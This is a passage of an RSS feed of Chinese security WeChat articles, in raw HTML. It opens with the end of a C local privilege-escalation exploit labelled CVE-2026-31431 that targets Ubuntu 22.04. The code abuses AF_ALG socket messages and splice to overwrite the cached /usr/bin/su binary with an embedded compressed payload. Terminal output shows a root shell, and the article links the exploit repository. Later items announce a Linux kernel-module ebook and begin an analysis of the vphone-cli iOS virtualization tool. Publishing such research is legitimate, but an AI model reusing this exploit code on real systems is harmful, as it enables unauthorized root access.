128, 0);"><span leaf="">1</span></span><span leaf="">;</span><span leaf=""><br/></span><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf="">// 分配足够的控制消息空间</span></span><span leaf=""><br/></span><span style="color: rgb(163, 21, 21);"><span leaf="">char</span></span><span leaf=""> ctrl_buf[CMSG_SPACE(</span><span style="color: rgb(0, 128, 0);"><span leaf="">32</span></span><span leaf="">) * </span><span style="color: rgb(0, 128, 0);"><span leaf="">3</span></span><span leaf="">];</span><span leaf=""><br/></span><span style="color: rgb(0, 122, 204);"><span leaf="">memset</span></span><span leaf="">(ctrl_buf, </span><span style="color: rgb(0, 128, 0);"><span leaf="">0</span></span><span leaf="">, </span><span style="color: rgb(0, 0, 255);"><span leaf="">sizeof</span></span><span leaf="">(ctrl_buf));</span><span leaf=""><br/></span><span leaf="">    msg.msg_control = ctrl_buf;</span><span leaf=""><br/></span><span leaf="">    msg.msg_controllen = </span><span style="color: rgb(0, 0, 255);"><span leaf="">sizeof</span></span><span leaf="">(ctrl_buf);</span><span leaf=""><br/></span><span style="color: rgb(0, 128, 0);"><span style="color: rgb(0, 0, 255);"><span leaf="">struct</span></span><span style="color: rgb(128, 128, 128);"><span leaf="">cmsghdr</span></span><span leaf=""> *</span><span style="color: rgb(128, 128, 128);"><span leaf="">cmsg</span></span><span leaf="">;</span></span><span leaf=""><br/></span><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf="">// 阶段 1: 重置状态机 (Type 3)</span></span><span leaf=""><br/></span><span leaf="">    cmsg = CMSG_FIRSTHDR(&amp;msg);</span><span leaf=""><br/></span><span leaf="">    cmsg-&gt;cmsg_level = SOL_ALG;</span><span leaf=""><br/></span><span leaf="">    cmsg-&gt;cmsg_type = ALG_SET_KEY;</span><span leaf=""><br/></span><span leaf="">    cmsg-&gt;cmsg_len = CMSG_LEN(</span><span style="color: rgb(0, 128, 0);"><span leaf="">4</span></span><span leaf="">);</span><span leaf=""><br/></span><span leaf="">    ((</span><span style="color: rgb(163, 21, 21);"><span leaf="">int</span></span><span leaf="">*)CMSG_DATA(cmsg))[</span><span style="color: rgb(0, 128, 0);"><span leaf="">0</span></span><span leaf="">] = </span><span style="color: rgb(0, 128, 0);"><span leaf="">3</span></span><span leaf="">; </span><span leaf=""><br/></span><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf="">// 阶段 2: 注入偏移量 (Type 2, 20 bytes)</span></span><span leaf=""><br/></span><span leaf="">    cmsg = CMSG_NXTHDR(&amp;msg, cmsg);</span><span leaf=""><br/></span><span style="color: rgb(0, 0, 255);"><span leaf="">if</span></span><span leaf=""> (cmsg) {</span><span leaf=""><br/></span><span leaf="">        cmsg-&gt;cmsg_level = SOL_ALG;</span><span leaf=""><br/></span><span leaf="">        cmsg-&gt;cmsg_type = ALG_SET_KEY;</span><span leaf=""><br/></span><span leaf="">        cmsg-&gt;cmsg_len = CMSG_LEN(</span><span style="color: rgb(0, 128, 0);"><span leaf="">20</span></span><span leaf="">);</span><span leaf=""><br/></span><span leaf="">        CMSG_DATA(cmsg)[</span><span style="color: rgb(0, 128, 0);"><span leaf="">0</span></span><span leaf="">] = </span><span style="color: rgb(0, 128, 0);"><span leaf="">0x10</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">        ((</span><span style="color: rgb(163, 21, 21);"><span leaf="">int</span></span><span leaf="">*)CMSG_DATA(cmsg))[</span><span style="color: rgb(0, 128, 0);"><span leaf="">0</span></span><span leaf="">] = </span><span style="color: rgb(0, 128, 0);"><span leaf="">2</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">    }</span><span leaf=""><br/></span><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf="">// 阶段 3: 锁定路径 (Type 4)</span></span><span leaf=""><br/></span><span leaf="">    cmsg = CMSG_NXTHDR(&amp;msg, cmsg);</span><span leaf=""><br/></span><span style="color: rgb(0, 0, 255);"><span leaf="">if</span></span><span leaf=""> (cmsg) {</span><span leaf=""><br/></span><span leaf="">        cmsg-&gt;cmsg_level = SOL_ALG;</span><span leaf=""><br/></span><span leaf="">        cmsg-&gt;cmsg_type = ALG_SET_KEY;</span><span leaf=""><br/></span><span leaf="">        cmsg-&gt;cmsg_len = CMSG_LEN(</span><span style="color: rgb(0, 128, 0);"><span leaf="">4</span></span><span leaf="">);</span><span leaf=""><br/></span><span leaf="">        CMSG_DATA(cmsg)[</span><span style="color: rgb(0, 128, 0);"><span leaf="">0</span></span><span leaf="">] = </span><span style="color: rgb(0, 128, 0);"><span leaf="">0x08</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">        ((</span><span style="color: rgb(163, 21, 21);"><span leaf="">int</span></span><span leaf="">*)CMSG_DATA(cmsg))[</span><span style="color: rgb(0, 128, 0);"><span leaf="">0</span></span><span leaf="">] = </span><span style="color: rgb(0, 128, 0);"><span leaf="">4</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">    }</span><span leaf=""><br/></span><span leaf="">    sendmsg(encrypted_stream, &amp;msg, </span><span style="color: rgb(0, 128, 0);"><span leaf="">0</span></span><span leaf="">);</span><span leaf=""><br/></span><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf="">// Splice 零拷贝原语实现覆写</span></span><span leaf=""><br/></span><span style="color: rgb(163, 21, 21);"><span leaf="">int</span></span><span leaf=""> pipefd[</span><span style="color: rgb(0, 128, 0);"><span leaf="">2</span></span><span leaf="">];</span><span leaf=""><br/></span><span style="color: rgb(0, 0, 255);"><span leaf="">if</span></span><span leaf=""> (pipe(pipefd) == </span><span style="color: rgb(0, 128, 0);"><span leaf="">0</span></span><span leaf="">) {</span><span leaf=""><br/></span><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf="">// 将 su 文件内容拉入管道</span></span><span leaf=""><br/></span><span leaf="">        my_splice(su_file_fd, </span><span style="color: rgb(163, 21, 21);"><span leaf="">NULL</span></span><span leaf="">, pipefd[</span><span style="color: rgb(0, 128, 0);"><span leaf="">1</span></span><span leaf="">], </span><span style="color: rgb(163, 21, 21);"><span leaf="">NULL</span></span><span leaf="">, payload_offset + </span><span style="color: rgb(0, 128, 0);"><span leaf="">4</span></span><span leaf="">, SPLICE_F_MOVE);</span><span leaf=""><br/></span><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf="">// 将管道内容推入加密流，由于状态机被劫持，此处会覆写 Page Cache</span></span><span leaf=""><br/></span><span leaf="">        my_splice(pipefd[</span><span style="color: rgb(0, 128, 0);"><span leaf="">0</span></span><span leaf="">], </span><span style="color: rgb(163, 21, 21);"><span leaf="">NULL</span></span><span leaf="">, encrypted_stream, </span><span style="color: rgb(163, 21, 21);"><span leaf="">NULL</span></span><span leaf="">, payload_offset + </span><span style="color: rgb(0, 128, 0);"><span leaf="">4</span></span><span leaf="">, SPLICE_F_MOVE);</span><span leaf=""><br/></span><span leaf="">        close(pipefd[</span><span style="color: rgb(0, 128, 0);"><span leaf="">0</span></span><span leaf="">]);</span><span leaf=""><br/></span><span leaf="">        close(pipefd[</span><span style="color: rgb(0, 128, 0);"><span leaf="">1</span></span><span leaf="">]);</span><span leaf=""><br/></span><span leaf="">    }</span><span leaf=""><br/></span><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf="">// 修复点：不再使用大长度 recv，避免栈溢出</span></span><span leaf=""><br/></span><span style="color: rgb(163, 21, 21);"><span leaf="">char</span></span><span leaf=""> dummy[</span><span style="color: rgb(0, 128, 0);"><span leaf="">64</span></span><span leaf="">];</span><span leaf=""><br/></span><span leaf="">    recv(encrypted_stream, dummy, </span><span style="color: rgb(0, 0, 255);"><span leaf="">sizeof</span></span><span leaf="">(dummy), MSG_DONTWAIT);</span><span leaf=""><br/></span><span leaf="">    close(encrypted_stream);</span><span leaf=""><br/></span><span leaf="">    close(alg_socket);</span><span leaf=""><br/></span><span leaf="">}</span><span leaf=""><br/></span><span style="color: rgb(163, 21, 21);"><span leaf="">int</span></span><span style="color: rgb(128, 128, 128);"><span leaf="">main</span></span><span style="color: inherit;"><span leaf="">()</span></span><span leaf=""> {</span><span leaf=""><br/></span><span style="color: rgb(163, 21, 21);"><span leaf="">const</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">char</span></span><span leaf="">* su_path = </span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;/usr/bin/su&#34;</span></span><span leaf="">;</span><span leaf=""><br/></span><span style="color: rgb(163, 21, 21);"><span leaf="">int</span></span><span leaf=""> fd = open(su_path, O_RDONLY);</span><span leaf=""><br/></span><span style="color: rgb(0, 0, 255);"><span leaf="">if</span></span><span leaf=""> (fd &lt; </span><span style="color: rgb(0, 128, 0);"><span leaf="">0</span></span><span leaf="">) {</span><span leaf=""><br/></span><span leaf="">        perror(</span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;[-] Failed to open su&#34;</span></span><span leaf="">);</span><span leaf=""><br/></span><span style="color: rgb(0, 0, 255);"><span leaf="">return</span></span><span style="color: rgb(0, 128, 0);"><span leaf="">1</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">    }</span><span leaf=""><br/></span><span style="color: rgb(0, 122, 204);"><span leaf="">printf</span></span><span leaf="">(</span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;[*] CVE-2026-31431 Advanced Exploit starting...\n&#34;</span></span><span leaf="">);</span><span leaf=""><br/></span><span style="color: rgb(0, 122, 204);"><span leaf="">printf</span></span><span leaf="">(</span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;[*] Targeted: Ubuntu 22.04 (Kernel 5.15+)\n&#34;</span></span><span leaf="">);</span><span leaf=""><br/></span><span style="color: rgb(163, 21, 21);"><span leaf="">const</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">char</span></span><span leaf="">* payload_hex = </span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3&#34;</span></span><span leaf="">;</span><span leaf=""><br/></span><span style="color: rgb(163, 21, 21);"><span leaf="">size_t</span></span><span leaf=""> compressed_len;</span><span leaf=""><br/></span><span style="color: rgb(163, 21, 21);"><span leaf="">unsigned</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">char</span></span><span leaf="">* compressed = hex_to_bytes(payload_hex, &amp;compressed_len);</span><span leaf=""><br/></span><span leaf="">    uLongf payload_len = </span><span style="color: rgb(0, 128, 0);"><span leaf="">4096</span></span><span leaf="">; </span><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf="">// 增加解压缓冲区</span></span><span leaf=""><br/></span><span style="color: rgb(163, 21, 21);"><span leaf="">unsigned</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">char</span></span><span leaf="">* payload = </span><span style="color: rgb(0, 122, 204);"><span leaf="">malloc</span></span><span leaf="">(payload_len);</span><span leaf=""><br/></span><span style="color: rgb(0, 0, 255);"><span leaf="">if</span></span><span leaf=""> (uncompress(payload, &amp;payload_len, compressed, compressed_len) != Z_OK) {</span><span leaf=""><br/></span><span style="color: rgb(0, 122, 204);"><span leaf="">fprintf</span></span><span leaf="">(</span><span style="color: rgb(0, 122, 204);"><span leaf="">stderr</span></span><span leaf="">, </span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;[-] Decompression failed\n&#34;</span></span><span leaf="">);</span><span leaf=""><br/></span><span style="color: rgb(0, 0, 255);"><span leaf="">return</span></span><span style="color: rgb(0, 128, 0);"><span leaf="">1</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">    }</span><span leaf=""><br/></span><span style="color: rgb(0, 122, 204);"><span leaf="">free</span></span><span leaf="">(compressed);</span><span leaf=""><br/></span><span style="color: rgb(0, 122, 204);"><span leaf="">printf</span></span><span leaf="">(</span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;[*] Triggering Page Cache corruption (len: %lu)...\n&#34;</span></span><span leaf="">, payload_len);</span><span leaf=""><br/></span><span style="color: rgb(0, 0, 255);"><span leaf="">for</span></span><span leaf=""> (</span><span style="color: rgb(163, 21, 21);"><span leaf="">size_t</span></span><span leaf=""> offset = </span><span style="color: rgb(0, 128, 0);"><span leaf="">0</span></span><span leaf="">; offset &lt; payload_len; offset += </span><span style="color: rgb(0, 128, 0);"><span leaf="">4</span></span><span leaf="">) {</span><span leaf=""><br/></span><span leaf="">        trigger_exploit(fd, offset, payload + offset);</span><span leaf=""><br/></span><span leaf="">    }</span><span leaf=""><br/></span><span style="color: rgb(0, 122, 204);"><span leaf="">free</span></span><span leaf="">(payload);</span><span leaf=""><br/></span><span leaf="">    close(fd);</span><span leaf=""><br/></span><span style="color: rgb(0, 122, 204);"><span leaf="">printf</span></span><span leaf="">(</span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;[+] Exploit finished. Attempting to get root shell...\n&#34;</span></span><span leaf="">);</span><span leaf=""><br/></span><span leaf="">    execl(su_path, </span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;su&#34;</span></span><span leaf="">, </span><span style="color: rgb(163, 21, 21);"><span leaf="">NULL</span></span><span leaf="">);</span><span leaf=""><br/></span><span style="color: rgb(0, 0, 255);"><span leaf="">return</span></span><span style="color: rgb(0, 128, 0);"><span leaf="">0</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">}</span></code></pre><p data-line="292" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">编译测试：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="294" dir="auto" style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;"><span leaf="">ubuntu@ubuntu:~/Downloads/CVE-2026-31431-Advanced-Exploit$ cc exp.c -l z</span><span leaf=""><br/></span><span leaf="">ubuntu@ubuntu:~/Downloads/CVE-2026-31431-Advanced-Exploit$ ./a.out </span><span leaf=""><br/></span><span leaf="">[*] CVE-2026-31431 Advanced Exploit starting...</span><span leaf=""><br/></span><span leaf="">[*] Targeted: Ubuntu 22.04 (Kernel 5.15+)</span><span leaf=""><br/></span><span leaf="">[*] Triggering Page Cache corruption (len: 160)...</span><span leaf=""><br/></span><span leaf="">[+] Exploit finished. Attempting to get root shell...</span><span leaf=""><br/></span><span leaf="">root@ubuntu:/home/ubuntu/Downloads/CVE-2026-31431-Advanced-Exploit</span><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf="">#</span></span></code></pre><p data-line="304" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">希望本篇分析能为您的漏洞研究提供有价值的参考。</span></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>


<p><a href="https://github.com/Sndav/CVE-2026-31431-Advanced-Exploit">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=7f178dff&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzU3MTY5MzQxMA%3D%3D%26mid%3D2247485140%26idx%3D1%26sn%3D46a3b04ac859dd1c8adc3ac08459a719">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Thu, 30 Apr 2026 21:26:00 +0800</pubDate>
    </item>
    <item>
      <title>电子书更新分享：Linux内核模块编程指南.pdf</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzU3MTY5MzQxMA==&amp;mid=2247485128&amp;idx=1&amp;sn=035b5f2a7cfaf6ca23ea594d1504f3ec</link>
      <description>Linux内核模块编程指南 中文PDF</description>
      <content:encoded><![CDATA[<p>原创 <span>非虫</span> <span>2026-04-27 09:00</span> <span style="display: inline-block;">湖北</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=a44045cb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FSq4BUsrXeTicTAzeib5qLaZQknNyJHKpJB7ZsnAmo3RyfRuYzvwtCSKGd8xTlHASeBPCmv9MNX6Tx3y0cZKzOaoiamCQ2aSggCspfZNtLKHo9U%2F0%3Fwx_fmt%3Djpeg"/></p>
  <p>Linux内核模块编程指南 中文PDF</p>
  <p><span leaf="">这最近2个多月的几十次更新变化挺大的，</span><span leaf="">Linux内核模块编程指南 全书的目录有了很大的变化，更新一个全新的版本给大家，方便朋友们学习内核模块开发。</span></p><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="1.4231499051233396" data-s="300,640" data-type="png" data-w="1054" type="block" data-imgfileid="100001476" src="https://wechat2rss.xlab.app/img-proxy/?k=f4fd033f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FSq4BUsrXeT9hROibYtRXGZfc4GeHTWkm9JhibFJ1R8KxLhQQ1iaGalwpuibfWA3sMGfib0fJB2ZfOGcEiah9MRyfv5huGVGicnLg3npMIYp4CaXPJ0%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.6277777777777778" data-s="300,640" data-type="png" data-w="1080" type="block" data-imgfileid="100001477" src="https://wechat2rss.xlab.app/img-proxy/?k=a804b127&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FSq4BUsrXeT9lHM2FrlicacKTKFpEDxHS3W1WSsWl6snribKeYxrbu8aIBMdJmiaMJOkq0a5sfib7icCPoqDwNagDkO4VCz0ZCUK5cSeJrw84a4As%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span leaf="">点击阅读原文，跳转PDF下载</span></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>


<p><a href="https://github.com/feicong/feicong-course/releases">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=21631307&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzU3MTY5MzQxMA%3D%3D%26mid%3D2247485128%26idx%3D1%26sn%3D035b5f2a7cfaf6ca23ea594d1504f3ec">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Mon, 27 Apr 2026 09:00:00 +0800</pubDate>
    </item>
    <item>
      <title>iOS虚拟手机实现能力现状</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzU3MTY5MzQxMA==&amp;mid=2247485134&amp;idx=1&amp;sn=9577361b5573c62a0b05424afff04237</link>
      <description>iOS虚拟手机实现能力现状&#xD;&#xA;上一篇《iOS虚拟手机实现原理解析》写作时，vphone-cli还处在很早期的形态，</description>
      <content:encoded><![CDATA[<p>原创 <span>非虫</span> <span>2026-04-26 19:16</span> <span style="display: inline-block;">湖北</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=7560ad35&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FSq4BUsrXeT8ibZZB2ialGYrS8ibrwU30RxXJLrF4CVzbevzMcAy6s5YUxY3ia2knbiajxmIK6t4k8oFXXwhbFBDmMiamTG0ArspWRsdPR8e4mHzsM%2F0%3Fwx_fmt%3Djpeg"/></p>
  <p>iOS虚拟手机实现能力现状</p><p>上一篇《iOS虚拟手机实现原理解析》写作时，vphone-cli还处在很早期的形态，</p>
  <h1 data-line="0" dir="auto" style=" margin-top: 0px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 2em;padding-bottom: 0.3em;border-bottom: 1px solid rgba(0, 0, 0, 0.18);border-top-color: rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18); color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; " data-pm-slice="0 0 []"><span leaf="">iOS虚拟手机实现能力现状</span></h1><p data-line="2" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">上一篇《iOS虚拟手机实现原理解析》写作时，</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">vphone-cli</span></code><span leaf="">还处在很早期的形态，仓库大约只有5个commit。那时它更像一个把Apple私有</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">Virtualization.framework</span></code><span leaf="">能力拉起来的启动工具：用少量Swift/ObjC代码创建PV=3虚拟机，再配合Python脚本和Shell脚本完成固件合并、引导链补丁、DFU恢复、Ramdisk启动和CFW安装。</span></p><p data-line="4" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">截至2026-04-26分析时，</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">vphone-cli</span></code><span leaf="">已经不只是“能启动虚拟iPhone”的PoC，而是逐渐演化成了一套围绕iOS虚拟手机构建、修补、安装、运行、自动化、越狱和环境切换的研究平台。</span></p><p data-line="6" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">本文不再重复上一篇中已经讲过的PV=3硬件模型、私有Entitlements、DFU恢复、SHSH签名、Ramdisk引导和基础CFW安装细节，而是从当前仓库的提交演进和文件结构出发，梳理</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">vphone-cli</span></code><span leaf="">现在具备了哪些能力，以及这些能力相比早期版本解决了什么问题。</span></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100001483" data-s="300,640" type="block" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=c2d3947a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FSq4BUsrXeT8qkHwUQRUNx9ibEeGzPA6CRViajNKPicFvibia42DHmpXkxicdiaLWZOkic3pMsIIL1nU5YibD7flebiaOQJVoEkibHicAgSA4ZBQTL1z0ato%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><h2 data-line="8" dir="auto" style=" margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.5em;padding-bottom: 0.3em;border-bottom: 1px solid rgba(0, 0, 0, 0.18);border-top-color: rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18); color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">1 分析基线</span></h2><p data-line="10" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">分析的仓库为：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="12" dir="auto" style=" font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;  "><span leaf=""><a href="https://github.com/Lakr233/vphone-cli" target="_blank">https://github.com/Lakr233/vphone-cli</a></span></code></pre><p data-line="16" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">项目当前最关键的变化可以概括为五点。</span></p><p data-line="18" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: 